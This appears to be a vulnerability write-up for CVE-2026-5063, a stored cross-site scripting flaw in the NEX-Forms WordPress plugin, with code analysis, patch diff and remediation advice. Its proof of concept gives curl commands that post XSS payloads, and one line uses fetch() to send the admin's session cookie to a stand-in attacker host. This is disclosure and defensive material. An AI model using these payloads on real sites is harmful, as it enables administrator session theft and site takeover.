NEX-Forms – Ultimate Forms Plugin for WordPress plugin banner

CVE-2026-5063: Stored XSS in NEX-Forms via Form Submission

CVE-2026-5063 is a CVSS 7.2 (High) Unauthenticated Stored Cross-Site Scripting vulnerability in the NEX-Forms – Ultimate Forms Plugin for WordPress WordPress plugin. An unauthenticated attacker can submit a crafted form entry that stores a JavaScript payload in the database; the payload executes automatically in any administrator’s browser when they view the form submissions dashboard.

Vulnerability Summary

FieldValue
Plugin NameNEX-Forms – Ultimate Forms Plugin for WordPress
Plugin Slugnex-forms-express-wp-form-builder
CVE IDCVE-2026-5063
CVSS Score7.2 (High)
Vulnerability TypeUnauthenticated Stored Cross-Site Scripting
Affected Versions<= 9.1.11
Patched Version9.1.12
PublishedMay 2, 2026
ResearcherNaoya Takahashi (nakko)
Wordfence AdvisoryLink

Description

An unauthenticated attacker can inject malicious JavaScript into a WordPress site by submitting a crafted form entry. The plugin stores every POST parameter key and value from form submissions — including parameters the attacker creates with arbitrary names. Due to insufficient input sanitization and missing output escaping, the stored payload executes in the browser of any administrator who views the form submission dashboard.

This class of vulnerability is highly impactful. An attacker needs no account on the target site. They only need one active form. The payload runs in the administrator’s browser session, which means an attacker can steal session cookies, create rogue admin accounts, redirect site visitors, or inject persistent backdoors into the site.

Technical Analysis

Entry Point: Unauthenticated AJAX Handler

The plugin registers the submit_nex_form function on two WordPress AJAX hooks:

// main.php:2656-2657
add_action( 'wp_ajax_submit_nex_form', 'submit_nex_form' );
add_action( 'wp_ajax_nopriv_submit_nex_form', 'submit_nex_form' );

The wp_ajax_nopriv_ prefix makes this endpoint available to unauthenticated users. Anyone can send a POST request to wp-admin/admin-ajax.php?action=submit_nex_form.

Vulnerable Code Path

Step 1 — Data Collection in submit_nex_form() (main.php:2833)

The function iterates over all POST parameters, not just fields defined in the form:

// main.php:2833-2901
foreach ( $_POST as $key => $val ) {

    $key = sanitize_text_field( $key );
    $key = esc_html( $key );

    if ( /* key not in blacklist */ ) {

        // If a `real_val__KEY` override exists and is an array,
        // the raw unsanitized value replaces $val entirely.
        if ( array_key_exists( 'real_val__' . $key, $_POST ) ) {
            if ( ! is_array( $_POST[ 'real_val__' . $key ] ) ) {
                $val = sanitize_text_field( $_POST[ 'real_val__' . $key ] );
            } else {
                // Array value: no sanitization applied here.
                $val = $_POST[ 'real_val__' . $key ];
            }
        }

        if ( is_array( $val ) || is_object( $val ) ) {
            // rest_sanitize_array() only calls array_values() —
            // it does NOT sanitize the element content.
            $data_array[] = array(
                'field_name'  => $key,
                'field_value' => rest_sanitize_array( $val ),
            );
        } else {
            $val = strip_tags( $val );
            $data_array[] = array(
                'field_name'  => $key,
                'field_value' => sanitize_text_field( str_replace( '\\', '', $val ) ),
            );
        }
    }
}

There are two code paths for storing values:

The sanitized key ($key) and the partially-sanitized value are stored in the form_data column of wp_{prefix}wap_nex_forms_entries as JSON:

// main.php:2944-2959
$wpdb->insert( $wpdb->prefix . 'wap_nex_forms_entries', array(
    ...
    'form_data' => json_encode( $data_array ),
    ...
) );

Step 2 — Unescaped Output in NEXForms_get_entry_data_preview() (class.db.php:3651)

This function retrieves stored form entries and renders a preview for the admin dashboard “Data Summary” column. It is called for every row in the “Latest Entries” table on the plugin’s dashboard page.

// includes/classes/class.db.php:3662-3685 (vulnerable version 9.1.11)
$set_form_data = $wpdb->get_var( $get_the_data );
$form_data     = json_decode( $set_form_data, 1 );

foreach ( $form_data as $data ) {
    if ( $i < 2 ) {
        $field_name  = ( isset( $data['field_name'] )  ? $data['field_name']  : '' );
        $field_value = ( isset( $data['field_value'] ) ? $data['field_value'] : '' );

        if ( ! is_array( $field_value ) ) {
            if ( ! strstr( $field_value, 'data:image' ) )
                // ⚠ $field_value is output directly — no esc_html()
                $set_data .= '<span class="entry_data_name">'
                    . $nf_functions->unformat_records_name( $field_name )
                    . '</span> : <span class="entry_data_value">'
                    . $field_value
                    . '</span> | ';
            else
                // ⚠ Same issue in the image branch
                $set_data .= '<span class="entry_data_name">'
                    . $nf_functions->unformat_records_name( $field_name )
                    . '</span> : <span class="entry_data_value">'
                    . '<img src="' . $field_value . '" width="50"/>'
                    . '</span> | ';
        }
    }
    $i++;
}

$field_value is inserted directly into the HTML string with no output escaping. Any HTML or JavaScript in $field_value renders and executes in the admin’s browser.

A second unpatched location at class.db.php:2782 follows the same pattern in the batch-export view:

// class.db.php:2782 (NOT patched in 9.1.12)
$set_data .= '<span class="entry_data_name">'
    . $nf_functions->unformat_records_name( $data['field_name'] )
    . '</span> : <span class="entry_data_value">'
    . $data['field_value']  // ⚠ still unescaped
    . '</span> | ';

Root Cause

The submit_nex_form() function accepts POST parameters with attacker-chosen key names and stores their values with insufficient input sanitization. The NEXForms_get_entry_data_preview() function outputs stored field values without esc_html(), so any HTML that survives storage renders in the admin’s browser.

Why Existing Controls Failed

The key name ($key) is sanitized with sanitize_text_field() and esc_html() before storage, and unformat_records_name() re-sanitizes it before display — so the key is safe. However, the value ($val) uses only strip_tags() and sanitize_text_field(), neither of which encodes HTML entities for output. On the display side, the developer called unformat_records_name() on the field name but forgot to call esc_html() on the field value.

Additionally, when real_val__KEY is submitted as an array, rest_sanitize_array() skips sanitization entirely for element values, giving an attacker a direct path to store raw HTML payloads.

Attack Impact

An unauthenticated attacker can execute arbitrary JavaScript in any administrator’s browser. Because the payload runs in the WordPress admin session, the attacker can take over admin accounts, create backdoor users, modify site content, or redirect visitors to malicious sites.

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Identify a valid form ID

Log in to the WordPress admin, open NEX-Forms, and note the numeric ID of any active form (e.g. 1).

Step 2: Submit the malicious form entry

Send a POST request to the AJAX endpoint as an unauthenticated user. The payload uses the real_val__ override mechanism with an array value to bypass strip_tags() and sanitize_text_field(). The XSS payload is placed inside the array element.

curl -s -X POST "https://target.example.com/wp-admin/admin-ajax.php" \
  --data-urlencode "action=submit_nex_form" \
  --data-urlencode "nex_forms_Id=FORM_ID" \
  --data-urlencode "company_url=" \
  --data-urlencode "email=test@example.com" \
  --data-urlencode "xss_field=placeholder" \
  --data-urlencode "real_val__xss_field[]=<img src=x onerror=\"alert(document.domain)\">"

You can also use the array form of a standard field name. Any POST key not in the plugin’s internal blacklist is accepted:

curl -s -X POST "https://target.example.com/wp-admin/admin-ajax.php" \
  -d "action=submit_nex_form" \
  -d "nex_forms_Id=FORM_ID" \
  -d "company_url=" \
  -d "email=test%40example.com" \
  -d "message%5B%5D=%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E"

(message[]=<img src=x onerror=alert(document.domain)> URL-encoded)

Step 3: Trigger the XSS

Log in to WordPress as an administrator. Navigate to:

wp-admin/admin.php?page=nex-forms-page-dashboard

The NEX-Forms dashboard loads the “Latest Entries” table, which calls NEXForms_get_entry_data_preview() for each entry row. The injected payload in the “Data Summary” column executes immediately.

Expected Result

A JavaScript alert box displays document.domain (the site’s hostname), confirming that attacker-supplied JavaScript executed in the authenticated admin’s browser session.

Verification

  1. After step 2, check the wp_{prefix}wap_nex_forms_entries table. The form_data column for the new entry contains the unsanitized <img> payload.
  2. After step 3, the browser displays an alert. In a real attack, replace alert(document.domain) with fetch('https://attacker.example.com/?c='+document.cookie) to exfiltrate the admin session cookie.

Patch Analysis

What Changed

The patch modifies includes/classes/class.db.php in the NEXForms_get_entry_data_preview() function (line 3676 in the patched version). Two lines are changed.

Fix Explanation

The patch adds proper output escaping as defence-in-depth. Even if a payload survives input sanitization and is stored in the database, esc_html() converts <, >, ", ', and & to HTML entities before insertion into the page, so the browser renders the payload as text rather than executing it.

The fix addresses the output escaping gap. The input sanitization gap — specifically, the rest_sanitize_array() path that stores unsanitized array element values — is not addressed in 9.1.12. Additionally, the similar unescaped output at class.db.php:2782 (in the batch-export view) remains unpatched. These residual risks are lower-impact because they require the administrator to actively open the batch view, but they should be addressed.

Code Diff (Key Changes)

--- a/includes/classes/class.db.php
+++ b/includes/classes/class.db.php
@@ -3674,9 +3674,9 @@ function NEXForms_get_entry_data_preview($Id='',$table=''){
 		if(!is_array($field_value)){
 			if(!strstr($field_value,'data:image'))
-				$set_data .= '<span class="entry_data_name">'.$nf_functions->unformat_records_name($field_name).'</span> : <span class="entry_data_value">'.$field_value.'</span> | ';
+				$set_data .= '<span class="entry_data_name">'.$nf_functions->unformat_records_name($field_name).'</span> : <span class="entry_data_value">'.esc_html($field_value).'</span> | ';
 			else
-				$set_data .= '<span class="entry_data_name">'.$nf_functions->unformat_records_name($field_name).'</span> : <span class="entry_data_value"><img src="'.$field_value.'" width="50"/></span> | ';
+				$set_data .= '<span class="entry_data_name">'.$nf_functions->unformat_records_name($field_name).'</span> : <span class="entry_data_value"><img src="'.esc_html($field_value).'" width="50"/></span> | ';
 		}

Timeline

DateEvent
Vulnerability discovered and reported by Naoya Takahashi (nakko)
May 2, 2026Patched version 9.1.12 released
May 2, 2026Publicly disclosed by Wordfence

Remediation

Update the nex-forms-express-wp-form-builder plugin to version 9.1.12 or later.

If an immediate update is not possible, consider temporarily deactivating the plugin or restricting access to wp-admin/admin-ajax.php for unauthenticated users via your web server firewall rules or a WAF rule targeting action=submit_nex_form.

References

  1. Wordfence Advisory — CVE-2026-5063
  2. CVE-2026-5063 at cve.org
  3. NEX-Forms Plugin on WordPress.org

Frequently Asked Questions

What is CVE-2026-5063?

CVE-2026-5063 is a CVSS 7.2 High severity unauthenticated stored cross-site scripting vulnerability in the NEX-Forms plugin for WordPress that allows an attacker without any account to inject JavaScript that executes in an administrator's browser.

Which versions of NEX-Forms are affected by CVE-2026-5063?

All versions of NEX-Forms up to and including 9.1.11 are affected. Version 9.1.12 contains the fix and is safe to use.

What can an attacker do with CVE-2026-5063?

An attacker can execute arbitrary JavaScript in any administrator's browser when the admin views the form submissions dashboard. This allows the attacker to steal session cookies, create rogue admin accounts, modify site content, or plant persistent backdoors.

Does an attacker need to be logged in to exploit CVE-2026-5063?

No. The vulnerability is unauthenticated, so any visitor can exploit it without having a WordPress account on the target site.

How do I fix CVE-2026-5063 in NEX-Forms?

Update the NEX-Forms plugin to version 9.1.12 or later from the WordPress plugin dashboard or by downloading it from WordPress.org. If an immediate update is not possible, temporarily deactivate the plugin to remove the risk.

Has NEX-Forms been patched for CVE-2026-5063?

Yes. Version 9.1.12 was released on May 2, 2026 and adds output escaping to prevent the stored JavaScript payload from executing in the admin's browser.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee